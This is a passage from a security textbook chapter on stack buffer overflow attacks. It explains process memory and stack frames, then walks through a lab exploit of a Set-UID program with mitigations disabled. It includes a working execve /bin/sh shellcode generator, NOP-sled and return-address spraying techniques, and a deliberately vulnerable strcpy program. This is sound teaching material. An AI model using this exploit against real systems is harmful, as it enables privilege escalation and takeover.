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Buffer Overflow Attack

From Morris worm in 1988, Code Red worm in 2001, SQL Slammer in 2003, to Stagefright

attack against Android phones in 2015, the buffer overflow attack has played a significant role

in the history of computer security. It is a classic attack that is still effective against many

of the computer systems and applications. In this chapter, we will study the buffer overflow

vulnerability, and see how such a simple mistake can be exploited by attackers to gain a complete

control of a system. We will also study how to prevent such attacks.
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62 CHAPTER 4. BUFFER OVERFLOW ATTACK

4.1 Program Memory Layout
To fully understand how buffer overflow attacks work, we need to understand how the data

memory is arranged inside a process. When a program runs, it needs memory space to store data.

For a typical C program, its memory is divided into five segments, each with its own purpose.

Figure 4.1 depicts the five segments in a process’s memory layout.

• Text segment: stores the executable code of the program. This block of memory is usually

read-only.

• Data segment: stores static/global variables that are initialized by the programmer. For

example, the variable a defined in static int a = 3 will be stored in the Data

segment.

• BSS segment: stores uninitialized static/global variables. This segment will be filled

with zeros by the operating system, so all the uninitialized variables are initialized with

zeros. For example, the variable b defined in static int b will be stored in the BSS

segment, and it is initialized with zero.

• Heap: The heap is used to provide space for dynamic memory allocation. This area is

managed by malloc, calloc, realloc, free, etc.

• Stack: The stack is used for storing local variables defined inside functions, as well as

storing data related to function calls, such as return address, arguments, etc. We will

provide more details about this segment later on.

Stack

Heap

(High address)

(Low address)

BSS segment

Data segment

Text segment

Figure 4.1: Program memory layout

To understand how different memory segments are used, let us look at the following code.

int x = 100; // In Data segment
int main()
{

int a = 2; // In Stack
float b = 2.5; // In Stack
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static int y; // In BSS

// Allocate memory on Heap
int *ptr = (int *) malloc(2*sizeof(int));

// values 5 and 6 stored on heap
ptr[0] = 5; // In Heap
ptr[1] = 6; // In Heap

free(ptr);
return 1;

}

In the above program, the variable x is a global variable initialized inside the program;

this variable will be allocated in the Data segment. The variable y is a static variable that is

uninitialized, so it is allocated in the BSS segment. The variables a and b are local variables,

so they are stored on the program’s stack. The variable ptr is also a local variable, so it is

also stored on the stack. However, ptr is a pointer, pointing to a block of memory, which is

dynamically allocated using malloc(); therefore, when the values 5 and 6 are assigned to

ptr[0] and ptr[1], they are stored in the heap segment.

4.2 Stack and Function Invocation
Buffer overflow can happen on both stack and heap. The ways to exploit them are quite different.

In this chapter, we focus on the stack-based buffer overflow. To understand how it works, we

need to have an in-depth understanding of how stack works and what information is stored on

the stack. These are architecture dependent. This chapter focuses primarily on the 32-bit x86

architecture, but we will discuss the 64-bit x64 architecture in § 4.7.

Value of b 

Value of a 

Return Address

Previous Frame Pointer

Value of x 

Value of y 

Stack 
grows

(High address)

(Low address)

Arguments

Local variables

Current 
Frame 
Pointer

Figure 4.2: Layout for a function’s stack frame

4.2.1 Stack Memory Layout
Stack is used for storing data used in function invocations. A program executes as a series of

function calls. Whenever a function is called, some space is allocated for it on the stack for the
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execution of the function. Consider the following sample code for function func(), which has

two integer arguments (a and b) and two integer local variables (x and y).

void func(int a, int b)
{

int x, y;

x = a + b;
y = a - b;

}

When func() is called, a block of memory space will be allocated on the top of the stack,

and it is called stack frame. The layout of the stack frame is depicted in Figure 4.2. A stack

frame has four important regions:

• Arguments: This region stores the values for the arguments that are passed to the function.

In our case, func() has two integer arguments. When this function is called, e.g.,

func(5,8), the values of the arguments will be pushed into the stack, forming the

beginning of the stack frame. It should be noted that the arguments are pushed in the

reverse order; the reason will be discussed later after we introduce the frame pointer.

• Return Address: When the function finishes and hits its return instruction, it needs to

know where to return to, i.e., the return address needs to be stored somewhere. Before

jumping to the entrance of the function, the computer pushes the address of the next

instruction—the instruction placed right after the function invocation instruction—into

the top of the stack, which is the “return address” region in the stack frame.

• Previous Frame Pointer: The next item pushed into the stack frame by the program is the

frame pointer for the previous frame. We will talk about the frame pointer in more details

in §4.2.2.

• Local Variables: The next region is for storing the function’s local variables. The actual

layout for this region, such as the order of the local variables, the actual size of the region,

etc., is up to compilers. Some compilers may randomize the order of the local variables,

or give extra space for this region [Bryant and O’Hallaron, 2015]. Programmers should

not assume any particular order or size for this region.

4.2.2 Frame Pointer
Inside func(), we need to access the arguments and local variables. The only way to do that

is to know their memory addresses. Unfortunately, the addresses cannot be determined during

the compilation time, because compilers cannot predict the run-time status of the stack, and will

not be able to know where the stack frame will be. To solve this problem, a special register is

introduced in the CPU. It is called frame pointer. This register points to a fixed location in the

stack frame, so the address of each argument and local variable can be calculated using this

register and an offset. The offset can be decided during the compilation time, while the value of

the frame pointer can change during the runtime, depending on where a stack frame is allocated

on the stack.

Let us use an example to see how the frame pointer is used. From the code example shown

previously, the function needs to execute the x = a + b statement. CPU needs to fetch the

values of a and b, add them, and then store the result in x; CPU needs to know the addresses
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of these three variables. As shown in Figure 4.2, in the x86 architecture, the frame pointer

register (ebp) always points to the region where the previous frame pointer is stored. For the

32-bit architecture, the return address and frame pointer both occupy 4 bytes of memory, so the

actual address of the variables a and b is ebp + 8, and ebp + 12, respectively. Therefore,

the assembly code for x = a + b is the following. We can compile C code into assembly

code using the -S option of gcc like this: gcc -S <filename> (on a 64-bit operating

system, if we want to compile the code to 32-bit assembly code, we should add the -m32 to the

gcc command):

movl 12(%ebp), %eax ; b is stored in %ebp + 12
movl 8(%ebp), %edx ; a is stored in %ebp + 8
addl %edx, %eax
movl %eax, -8(%ebp) ; x is stored in %ebp - 8

In the above assembly code, eax and edx are two general-purpose registers used for

storing temporary results. The "movl u w" instruction copies value u to w, while "addl
%edx %eax" adds the values in the two registers, and save the result to %eax. The notation

12(%ebp) means %ebp+12. It should be noted that the variable x is actually allocated 8

bytes below the frame pointer by the compiler, not 4 bytes as what is shown in the diagram. As

we have already mentioned, the actual layout of the local variable region is up to the compiler.

In the assembly code, we can see from -8(%ebp) that the variable x is stored in the location

of %ebp-8. Therefore, using the frame pointer decided at the runtime and the offsets decided

at the compilation time, we can find the address of all the variables.

Now we can explain why a and b are pushed in the stack in a seemly reversed order.

Actually, the order is not reversed from the offset point of view. Since the stack grows from high

address to low address, if we push a first, the offset for argument a is going to be larger than the

offset of argument b, making the order look actually reversed if we read the assembly code.

Previous frame pointer and function call chain. In a typical program, we may call another

function from inside a function. Every time we enter a function, a stack frame is allocated on

the top of the stack; when we return from the function, the space allocated for the stack frame is

released. Figure 4.3 depicts the stack situation where from inside of main(), we call foo(),

and from inside of foo(), we call bar(). All three stack frames are on the stack.

There is only one frame pointer register, and it always points to the stack frame of the current

function. Therefore, before we enter bar(), the frame pointer points to the stack frame of the

foo() function; when we jump into bar(), the frame pointer will point to the stack frame of

the bar() function. If we do not remember what the frame pointer points to before entering

bar(), once we return from bar(), we will not be able to know where function foo()’s

stack frame is. To solve this problem, before entering the callee function, the caller’s frame

pointer value is stored in the “previous frame pointer” field on the stack. When the callee returns,

the value in this field will be used to set the frame pointer register, making it point to the caller’s

stack frame again.

4.3 Stack Buffer-Overflow Attack
Memory copying is quite common in programs, where data from one place (source) need to

be copied to another place (destination). Before copying, a program needs to allocate memory

space for the destination. Sometimes, programmers may make mistakes and fail to allocate
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Stack
grows
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(Low address)

Current
Frame
Pointer

main()’s Frame Pointer

foo()’s Frame Pointerbar()

main()

foo()

Figure 4.3: Stack layout for function call chain

sufficient amount of memory for the destination, so more data will be copied to the destination

buffer than the amount of allocated space. This will result in an overflow. Some programming

languages, such as Java, can automatically detect the problem when a buffer is over-run, but

many other languages such as C and C++ are not able to detect it. Most people may think that

the only damage a buffer overflow can cause is to crash a program, due to the corruption of the

data beyond the buffer; however, what is surprising is that such a simple mistake may enable

attackers to gain a complete control of a program, rather than simply crashing it. If a vulnerable

program runs with privileges, attackers will be able to gain those privileges. In this section, we

will explain how such an attack works.

4.3.1 Copy Data to Buffer

There are many functions in C that can be used to copy data, including strcpy(), strcat(),

memcpy(), etc. In the examples of this section, we will use strcpy(), which is used to copy

strings. An example is shown in the code below. The function strcpy() stops copying only

when it encounters the terminating character '\0'.

#include <string.h>
#include <stdio.h>

void main ()
{

char src[40]="Hello world \0 Extra string";
char dest[40];

// copy to dest (destination) from src (source)
strcpy (dest, src);

}

When we run the above code, we can notice that strcpy() only copies the string "Hello
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world" to the buffer dest, even though the entire string contains more than that. This

is because when making the copy, strcpy() stops when it sees number zero, which is

represented by '\0' in the code. It should be noted that this is not the same as character '0',

which is represented as 0x30 in computers, not zero. Without the zero in the middle of the

string, the string copy will end when it reaches the end of the string, which is marked by a

zero (the zero is not shown in the code, but compilers will automatically add a zero to the end of

a string).

4.3.2 Buffer Overflow
When we copy a string to a target buffer, what will happen if the string is longer than the size of

the buffer? Let us see the following example.

#include <string.h>

void foo(char *str)
{

char buffer[12];

/* The following statement will result in a buffer overflow */
strcpy(buffer, str);

}

int main()
{

char *str = "This is definitely longer than 12";
foo(str);

return 1;
}

The stack layout for the above code is shown in Figure 4.4. The local array buffer[] in

foo() has 12 bytes of memory. The foo() function uses strcpy() to copy the string from

str to buffer[]. The strcpy() function does not stop until it sees a zero (a number zero,

'\0') in the source string. Since the source string is longer than 12 bytes, strcpy() will

overwrite some portion of the stack above the buffer. This is called buffer overflow.

It should be noted that stacks grow from high address to low address, but buffers still grow

in the normal direction (i.e., from low to high). Therefore, when we copy data to buffer[],

we start from buffer[0], and eventually to buffer[11]. If there are still more data to be

copied, strcpy() will continue copying the data to the region above the buffer, treating the

memory beyond the buffer as buffer[12], buffer[13], and so on.

Consequence. As can be seen in Figure 4.4, the region above the buffer includes critical

values, including the return address and the previous frame pointer. The return address affects

where the program should jump to when the function returns. If the return address field is

modified due to a buffer overflow, when the function returns, it will return to a new place.

Several things can happen. First, the new address, which is a virtual address, may not be mapped

to any physical address, so the return instruction will fail, and the program will crash. Second,

the address may be mapped to a physical address, but the address space is protected, such as

those used by the operating system kernel; the jump will fail, and the program will crash. Third,



C
op

yr
ig

ht
©

W
en

lia
ng

D
u

68 CHAPTER 4. BUFFER OVERFLOW ATTACK
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Figure 4.4: Buffer overflow

the address may be mapped to a physical address, but the data in that address is not a valid

machine instruction (e.g. it may be a data region); the return will again fail and the program

will crash. Fourth, the data in the address may happen to be a valid machine instruction, so the

program will continue running, but the logic of the program will be different from the original

one.

4.3.3 Exploiting a Buffer Overflow Vulnerability

As we can see from the above consequence, by overflowing a buffer, we can cause a program

to crash or to run some other code. From the attacker’s perspective, the latter sounds more

interesting, especially if we (as attackers) can control what code to run, because that will allow

us to hijack the execution of the program. If a program is privileged, being able to hijack the

program leads to privilege escalation for the attacker.

Let us see how we can get a vulnerable program to run our code. In the previous program

example, the program does not take any input from outside, so even though there is a buffer

overflow problem, attackers cannot take advantage of it. In real applications, programs usually

get inputs from users. See the following program example.

Listing 4.1: The vulnerable program (stack.c)

/* This program has a buffer overflow vulnerability. */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char *str)
{

char buffer[100];
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/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{

char str[400];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 400, badfile);
foo(str);

printf("Returned Properly\n");
return 1;

}

The above program reads 400 bytes of data from a file called "badfile", and then copies

the data to a buffer of size 100. Clearly, there is a buffer overflow problem. This time, the

contents copied to the buffer come from a user-provided file, i.e., users can control what is

copied to the buffer. The question is what to store in "badfile", so after overflowing the

buffer, we can get the program to run our code.

We need to get our code (i.e., malicious code) into the memory of the running program first.

This is not difficult. We can simply place our code in "badfile", so when the program reads

from the file, the code is loaded into the str[] array; when the program copies str to the

target buffer, the code will then be stored on the stack. In Figure 4.5, we place the malicious

code at the end of "badfile".

Next, we need to force the program to jump to our code, which is already in the memory. To

do that, using the buffer overflow problem in the code, we can overwrite the return address field.

If we know the address of our malicious code, we can simply use this address to overwrite the

return address field. Therefore, when the function foo returns, it will jump to the new address,

where our code is stored. Figure 4.5 illustrates how to get the program to jump to our code.

In theory, that is how a buffer overflow attack works. In practice, it is far more complicated.

In the next few sections, we will describe how to actually launch a buffer overflow attack against

the vulnerable Set-UID program described in Listing 4.1. We will describe the challenges in

the attack and how to overcome them. Our goal is to gain the root privilege by exploiting the

buffer overflow vulnerability in a privileged program.

4.4 Setup for Our Experiment
We will conduct attack experiments inside our SEED Ubuntu virtual machine. Because the

buffer overflow problem has a long history, most operating systems have already developed

countermeasures against such an attack. To simplify our experiments, we first need to turn

off these countermeasures. Later on, we will turn them back on, and show that some of the

countermeasures only made attacks more difficult, not impossible. We will show how they can

be defeated.
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Figure 4.5: Insert and jump to malicious code

4.4.1 Disable Address Randomization

One of the countermeasures against buffer overflow attacks is the Address Space Layout

Randomization (ASLR) [Wikipedia, 2017b]. It randomizes the memory space of the key data

areas in a process, including the base of the executable and the positions of the stack, heap and

libraries, making it difficult for attackers to guess the address of the injected malicious code. We

will discuss this countermeasure in §4.9 and show how it can be defeated. For this experiment,

we will simply turn it off using the following command:

$ sudo sysctl -w kernel.randomize_va_space=0

4.4.2 Vulnerable Program

Our goal is to exploit a buffer overflow vulnerability in a Set-UID root program. A Set-UID
root program runs with the root privilege when executed by a normal user, giving the normal

user extra privileges when running this program. The Set-UID mechanism is covered in details

in Chapter 2. If a buffer overflow vulnerability can be exploited in a privileged Set-UID
root program, the injected malicious code, if executed, can run with the root’s privilege. We

will use the vulnerable program (stack.c) shown in Listing 4.1 as our target program. This

program can be compiled and turned into a root-owned Set-UID program using the following

commands:

$ gcc -m32 -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack

The first command compiles stack.c into a 32-bit program (via the -m32 flag), and

the second and third commands turn the executable stack into a root-owned Set-UID
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program. It should be noted that the order of the second and third commands cannot be reversed,

because when the chown command changes the ownership of a file, it clears the Set-UID
bit (for the sake of security). In the first command, we used two gcc options to turn off two

countermeasures that have already been built into the gcc compiler.

• -z execstack: By default, stacks are non-executable, which prevents the injected

malicious code from getting executed. This countermeasure is called non-executable

stack [Wikipedia, 2017o]. A program, through a special marking in the binary, can tell the

operating system whether its stack should be set to executable or not. The marking in the

binary is typically done by the compiler. The gcc compiler marks stack as non-executable

by default, and the "-z execstack" option reverses that, making stack executable. It

should be noted that this countermeasure can be defeated using the return-to-libc attack.

We will cover the attack in Chapter 5.

• -fno-stack-protector: This option turns off another countermeasure called Stack-

Guard [Cowan et al., 1998], which can defeat the stack-based buffer overflow attack. Its

main idea is to add some special data and checking mechanisms to the code, so when a

buffer overflow occurs, it will be detected. More details of this countermeasure will be

explained in §4.10. This countermeasure has been built into the gcc compiler as a default

option. The -fno-stack-protector tells the compiler not to use the StackGuard

countermeasure.

To understand the behavior of this program, we place some random contents to badfile.

We can notice that when the size of the file is less than 100 bytes, the program will run without

a problem. However, when we put more than 100 bytes in the file, the program may crash. This

is what we expect when a buffer overflow happens. See the following experiment:

$ echo "aaaa" > badfile
$ ./stack
Returned Properly
$
$ echo "aaa ...(100 characters omitted)... aaa" > badfile
$ ./stack
Segmentation fault (core dumped)

4.5 Conduct Buffer-Overflow Attack
Our goal is to exploit the buffer overflow vulnerability in the vulnerable program stack.c (List-

ing 4.1), which runs with the root privilege. We need to construct the badfile such that

when the program copies the file contents into a buffer, the buffer is overflown, and our injected

malicious code can be executed, allowing us to obtain a root shell. This section will first discuss

the challenges in the attack, followed by a breakdown of how we overcome the challenges.

4.5.1 Finding the Address of the Injected Code
To be able to jump to our malicious code, we need to know the memory address of the malicious

code. Unfortunately, we do not know where exactly our malicious code is. We only know that

our code is copied into the target buffer on the stack, but we do not know the buffer’s memory

address, because its exact location depends on the program’s stack usage.
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We know the offset of the malicious code in our input, but we need to know the address of

the function foo’s stack frame to calculate exactly where our code will be stored. Unfortunately,

the target program is unlikely to print out the value of its frame pointer or the address of any

variable inside the frame, leaving us no choice but to guess. In theory, the entire search space for

a random guess is 232 addresses (for 32 bit machine), but in practice, the space is much smaller.

Two facts make the search space small. First, before countermeasures are introduced, most

operating systems place the stack (each process has one) at a fixed starting address. It should

be noted that the address is a virtual address, which is mapped to a different physical memory

address for different processes. Therefore, there is no conflict for different processes to use

the same virtual address for its stack. Second, most programs do not have a deep stack. From

Figure 4.3, we see that stack can grow deep if the function call chain is long, but this usually

happens in recursive function calls. Typically, call chains are not very long, so in most programs,

stacks are quite shallow. Combining the first and second facts, we can tell that the search space

is much smaller than 232, so guessing the correct address should be quite easy.

To verify that stacks always start from a fixed starting address, we use the following program

to print out the address of a local variable in a function.

#include <stdio.h>
void func(int* a1)
{

printf(" :: a1’s address is 0x%x \n", (unsigned int) &a1);
}

int main()
{

int x = 3;
func(&x);
return 1;

}

We run the above program with the address randomization turned off. From the following

execution trace, we can see that the variable’s address is always the same, indicating that the

starting address for the stack is always the same.

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ gcc -m32 -o prog prog.c
$ ./prog
:: a1’s address is 0xffffd190

$ ./prog
:: a1’s address is 0xffffd190

4.5.2 Improving the Chance of Guessing
For our guess to be successful, we need to guess the exact entry point of our injected code. If

we miss by one byte, we fail. This can be improved if we can create many entry points for

our injected code. The idea is to add many No-Op (NOP) instructions before the actual entry

point of our code. The NOP instruction does not do anything meaningful, other than advancing

the program counter to the next location, so as long as we hit any of the NOP instructions,



C
op

yr
ig

ht
©

W
en

lia
ng

D
u

4.5. CONDUCT BUFFER-OVERFLOW ATTACK 73

eventually, we will get to the actual starting point of our code. This will increase our success

rate very significantly. The idea is illustrated in Figure 4.6.

Arguments
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(Overwrite)
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Inaccurate 
Guess –
Failed Attack

NOP

NOP

NOP
Inaccurate 
Guess –
Successful Attack

ebp ebp

Figure 4.6: Using NOP to improve the success rate

By filling the region above the return address with NOP values, we can create multiple

entry points for our malicious code. This is shown on the right side of Figure 4.6. This can be

compared to the case on the left side, where NOP is not utilized and we have only one entry

point for the malicious code.

4.5.3 Finding the Address Without Guessing
In the Set-UID case, since attackers are on the same machine, they can get a copy of the

victim program, do some investigation, and derive the address for the injected code without

a need for guessing. This method may not be applicable for remote attacks, where attackers

try to inject code from a remote machine. Remote attackers may not have a copy of the victim

program; nor can they conduct investigation on the target machine.

We will use a debugging method to find out where the stack frame resides on the stack, and

use that to derive where our code is. We can directly debug the Set-UID program and print

out the value of the frame pointer when the function foo is invoked. It should be noted that

when a privileged Set-UID program is debugged by a normal user, the program will not run

with the privilege, so directly changing the behavior of the program inside the debugger will not

allow us to gain any privilege.

In this experiment, we have the source code of the target program, so we can compile it with

the debugging flag turned on. That will make it more convenient to debug. Here is the gcc
command.

$ gcc -m32 -z execstack -fno-stack-protector -g -o stack_dbg stack.c

In addition to disabling two countermeasures as before, the above compilation uses the -g
flag to compile the program, so debugging information is added to the binary. The compiled
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program (stack dbg) is then debugged using gdb. We need to create a file called badfile
before running the program. The command "touch badfile" in the following creates an

empty badfile.

$ gcc -m32 -z execstack -fno-stack-protector -g -o stack_dbg stack.c
$ touch badfile �Create an empty badfile
$ gdb stack_dbg
GNU gdb (Ubuntu 9.2-0ubuntu1˜20.04) 9.2
......
gdb-peda$ b foo �Set a break point at function foo()
Breakpoint 1 at 0x122d: file stack.c, line 6.
gdb-peda$ run �Start executing the program
...
Breakpoint 1, foo (str=0xffffcf7c "") at stack.c:6
6 {
gdb-peda$ next �See the note below
...
10 strcpy(buffer, str);

In gdb, we set a breakpoint on the foo function using "b foo", and then we start

executing the program using run. The program will stop inside the foo function, but it stops

before the ebp register is set to point to the current stack frame. We need to use next to

execute a few instructions and stop after the ebp register is modified to point to the stack frame

of the foo() function. We conduct the investigation on Ubuntu 20.04. On Ubuntu 16.04,

gdb’s behavior is slightly different, so the next command was not needed.

Now, we can print out the value of the frame pointer ebp and the address of the buffer
using gdb’s p command.

gdb-peda$ p $ebp
$1 = (void *) 0xffffcf58
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffceec
gdb-peda$ p/d 0xffffcf58 - 0xffffceec
$3 = 108
gdb-peda$ quit

From the above execution results, we can see that the value of the frame pointer is

0xffffcf58. Therefore, based on Figure 4.6, we can tell that the return address is stored in

0xffffcf58 + 4, and the first address that we can jump to 0xffffcf58 + 8 (the mem-

ory regions starting from this address is filled with NOPs). Therefore, we can put 0xffffcf58
+ 8 inside the return address field.

Inside the input, where is the return address field? Since our input will be copied to the

buffer starting from its beginning. We need to know where the buffer starts in the memory, and

what the distance is between the buffer’s starting point and the return address field. From the

above debugging results, we can easily print out the address of buffer, and then calculate the

distance between ebp and the buffer’s starting address. We get 108. Since the return address

field is 4 bytes above where ebp points to, the distance is 112.
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NOP NOP NOP Malicious Code

The value placed here 
will overwrite the 

Return Address field

Start of buffer:
Once the input is copied 
into buffer, the memory 

address will be 
0xbfffea8c

The first possible 
entry point for the 

malicious code

NOP

Distance = 112

RT

Once the input is copied 
into buffer, the address of 

this position will be 
0xbfffeaf8 + 8

Figure 4.7: The structure of badfile

4.5.4 Constructing the Input File

We can now construct the contents for badfile. Figure 4.7 illustrates the structure of the

input file (i.e. badfile). Since badfile contains binary data that are difficult to type using

a text editor, we write a Python program (called exploit.py) to generate the file. The code

is shown below.

Listing 4.2: Generating malicious input (exploit.py)

#!/usr/bin/python3
import sys
shellcode= (

"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80

).encode(’latin-1’)

# Fill the content with NOPs
content = bytearray(0x90 for i in range(400)) �

# Put the shellcode at the end
start = 400 - len(shellcode)
content[start:] = shellcode �
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# Put the address at offset 112
ret = 0xffffcf58 + 200 �

content[112:116] = (ret).to_bytes(4,byteorder=’little’) �

# Write the content to a file
with open(’badfile’, ’wb’) as f:

f.write(content)

In the given code, the array shellcode[] contains a copy of the malicious code, called

shellcode. How to write shellcode will be covered in Chapter 9 (Shellcode). In Line �, we

create an array of size 400 bytes, and fill it with 0x90 (NOP). We then place the shellcode at

the end of this array (Line �).

We plan to use 0xffffcf58 + 200 for the return address (Line �), so we need to put

this value into the corresponding place inside the array. According to our gdb result, the return

address field starts from offset 112, and ends at offset 116 (not including 116). Therefore, in

Line �, we put the address into content[112:116]. When we put a multi-byte number

into memory, we need to consider which byte should be put into the low address. This is called

byte order. Some computer architecture use big endian, and some use little endian. The x86

architecture uses the little-endian order, so in Python, when putting a 4-byte address into the

memory, we need to use byteorder=’little’ to specify the byte order.

It should be noted that in Line �, we did not use 0xffffcf58 + 8, as we have calculated

before; instead, we use a larger value 0xffffcf58 + 200. There is a reason for this: the

address 0xffffcf58 was identified using the debugging method, and the stack frame of the

foo function may be different when the program runs inside gdb as opposed to running directly,

because gdb may push some additional data onto the stack at the beginning, causing the stack

frame to be allocated deeper than it would be when the program runs directly. Therefore, the

first address that we can jump to may be higher than 0xffffcf58 + 8. That is why we

chose to use 0xffffcf58 + 200. Readers can try different offsets if their attacks fail.

Another important thing to remember is that the result of 0xffffcf58 + nnn should

not contain a zero in any of its byte, or the content of badfile will have a zero in the middle,

causing the strcpy() function to end the copying earlier, without copying anything after the

zero. For example, if we use 0xffffcf58 + 0xA8, we will get 0xffffd000, and the last

byte of the result is zero.

Run the exploit. We can now run exploit.py to generate badfile. Once the file

is constructed, we run the vulnerable Set-UID program, which copies the contents from

badfile, resulting in a buffer overflow. The following result shows that we have successfully

obtained the root privilege: we get the # prompt, and the result of the id command shows that

the effective user id (euid) of the process is 0.

$ chmod u+x exploit.py �make it executable
$ rm badfile
$ exploit.py
$ ./stack
# id �Got the root shell!
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root), ...
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Note for Ubuntu16.04 and Ubuntu20.04 VMs: If the above experiment is conducted

in the provided SEED Ubuntu16.04 and Ubuntu20.04 VMs, we will only get a normal

shell, not a root shell. This is due to a countermeasure implemented in these operating systems.

In Ubuntu operating systems, /bin/sh is actually a symbolic link pointing to the /bin/dash
shell. However, the dash shell (bash also) in Ubuntu16.04 and Ubuntu20.04 has a

countermeasure that prevents itself from being executed in a Set-UID process. We have

already provided a detailed explanation in Chapter 2 (§2.5).

There are two choices to solve this problem. The first choice is to link /bin/sh to another

shell that does not have such a countermeasure. We have installed a shell program called zsh
in our Ubuntu16.04 and Ubuntu20.04 VMs. We can use the following command to link

/bin/sh to zsh:

$ sudo ln -sf /bin/zsh /bin/sh

A better choice is to modify our shellcode, so instead of invoking /bin/sh, we can directly

invoke /bin/zsh. To do that, simply make the following change in the shellcode:

change "\x68""//sh" to "\x68""/zsh"

It should be noted that this countermeasure implemented by bash and dash can be defeated.

Therefore, even if we cannot use zsh in our experiment, we can still get a root shell. We need to

add a few more instructions to the beginning of the shellcode. We will talk about this in §4.11.

4.6 Attacks with Unknown Address and Buffer Size
In the previous section, we show how to conduct attacks when the buffer address and size are

known to us. In real-world situations, we may not be able to know their exact values. This is

especially true for attacks against remote servers, because unlike what we did in the previous

section, we will not be able to debug the target program. In this section, we will learn a few

techniques that allow us to launch attacks without knowing all the information about the target

program.

4.6.1 Knowing the Range of Buffer Size
There are two critical pieces of information for buffer overflow attacks: the buffer’s address and

size. Let us first assume that we do know the address of the buffer is A = 0xbfffea8c (this

assumption will be lifted later), but we do not know exactly what the buffer size is; we only

know it is in a range, from 10 to 100. Obviously, we can use the brute force approach, trying

all the values between 10 to 100. The question is whether we can do it with only one try. In

real-world situations, brute-force attacks can easily trigger alarms, so the less we try the better.

The buffer size decides where the return address is. Without knowing the actual buffer size,

we do not know which area in the input string (i.e., the badfile) should be used to hold the

return address. Guessing is an approach, but there is a better solution: instead of putting the

return address in one location, we put it in all the possible locations, so it does not matter which

one is the actual location. This technique is called spraying, i.e., we spray the buffer with the

return address.

Since the range of the buffer size is between 10 to 100, the actual distance between the

return address field and the beginning of the buffer will be at most 100 plus some small value

(compilers may add additional space after the end of the buffer); let us use 120. If we spray
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the first 120 bytes of the buffer with the return address RT (four bytes for each address), we

guarantee that one of them will overwrite the actual return address field. Figure 4.8 shows what

the badfile content looks like.

NOP Malicious Code

One of the RT values 
will overwrite the 

Return Address field

Start of buffer:
Once the input is copied 
into buffer, the memory 

address will be 
0xbfffea8c

The first possible 
entry point for the 

malicious code

NOP

RT section
120 bytes (4 bytes for each RT)

RT

Once the input is copied into 
buffer, the address of this 

position will be 
0xbfffea8c + 120 

RTRT

NOP section

Figure 4.8: Spraying the buffer with return addresses.

We do need to decide the value for RT. From the figure, we can see that the first NOP
instruction will be at address A + 120. Since we assume that A is known to us (its value is

0xbfffea8c), we have A + 120 = 0xbfffea8c + 120 = 0xbfffeb04. We can

use this address for RT. Actually, because of the NOPs, any address between this value and the

starting of the malicious code can be used.

4.6.2 Knowing the Range of the Buffer Address
Let us lift the assumption on the buffer address; assume that we do not know the exact value

of the buffer address, but we know its range is between A and A+100 (A is known). Our

assumption on the buffer size is still the same, i.e., we know its range is between 10 to 100. We

would like to construct one payload, so regardless of what the buffer address is, as long as it is

within the specified range, our payload can successfully exploit the vulnerability.

We still use the spraying technique to construct the first 120 bytes of the buffer, and we put

150 bytes of NOP afterward, followed by the malicious code. Therefore, if the buffer’s address

is X, the NOP section will be in the range of [X + 120, X + 270]. The question is that

we do not know X, and hence we do not know the exact range for the NOP section. Since X is

in the range of [A, A + 100], let us enumerate all the possible values for X, and see where

their NOP sections are:

Buffer Address NOP Section
--------------------------------------

A [A + 120, A + 270]
A+4 [A + 124, A + 274]
A+8 [A + 128, A + 278]
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......
A+100 [A + 220, A + 370]

To find a NOP that works for all the possible buffer addresses, the NOP must be in the

conjunction of all the NOP sections shown above. That will be [A + 220, A + 270].

Namely, any address in this range can be used for the return address RT.

4.6.3 A General Solution
Let us generalize what we have just discussed regarding the return address value that can be

used in the attack. Assume that the buffer address is within the range of [A, A + H], the first

S bytes of the buffer are used for the spraying purpose (the RT section), and the next L bytes of

the buffer are filled with the NOP instruction (the NOP section). Let us find out what values we

can use for the return address RT (see Figure 4.9).

NOP Malicious Code

Start of buffer: X

NOP

RT section: Length = S

RTRTRT

X + S

NOP section: Length = L

X + S + L

RT can be picked from this range

X = A A + S A + S + L

X = A + 4 (A + 4) + S (A + 4) + S + L

X = A + H (A + H) + S (A + H) + S + L

RT picked from this range will work for all X values

Figure 4.9: Find values for the return address RT

• If the buffer’s actual starting address is X = A, the NOP section’s range will be [A +
S, A + S + L]. Any number in this range can be used for RT.

• If the buffer’s actual starting address is X = A + 4, the NOP section’s range will be

[(A + 4) + S , (A + 4) + S + L]. Any number in this range can be used for

RT.
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• If the buffer’s actual starting address is X = A + H, the NOP section’s range will be

[(A + H) + S , (A + H) + S + L]. Any number in this range can be used for

RT.

If we want to find an RT value that works for all the possible buffer addresses, it must be in

the conjunction of all the ranges for X = A, A+4, ..., A+H. From Figure 4.9, we can see that

the conjunction is [A + H + S, A + S + L). Any number in this range can be used for

the return address RT.

Some readers may immediately find out that if H is larger than L, the lower bound of the

above range is larger than the upper bound, so the range is impossible, and no value for RT can

satisfy all the buffer addresses. Intuitively speaking, if the range of the buffer address is too

large, but the space for us to put NOP instructions is too small, we will not be able to find a

solution. To have at least one solution, the relationship H < L must hold.

Since L is decided by the payload size, which depends on how many bytes the vulnerable

program can take from us, we will not be able to arbitrarily increase L to satisfy the inequality.

Obviously, we cannot reduce the width H of the specified range for the buffer address. but we

can break the range into smaller subranges, each of which has a smaller width H’. As long as

H’ is less than L, we can find a solution. Basically, if the range is too wide, we break it into

smaller subranges, and then construct a malicious payload for each of the subranges.

4.7 Buffer Overflow Attacks on 64-bit Programs
Buffer overflow attacks on 64-bit programs is quite similar to those on 32-bit programs, but

there are differences, some of which has made the attacks more challenging. We will discuss

these differences and demonstrate how to overcome these challenges.

4.7.1 The Stack Layout
The stack layout in the x64 architecture is quite similar to x86. The major difference is how

arguments are passed to a function. In x86, all the arguments are passed to the function via

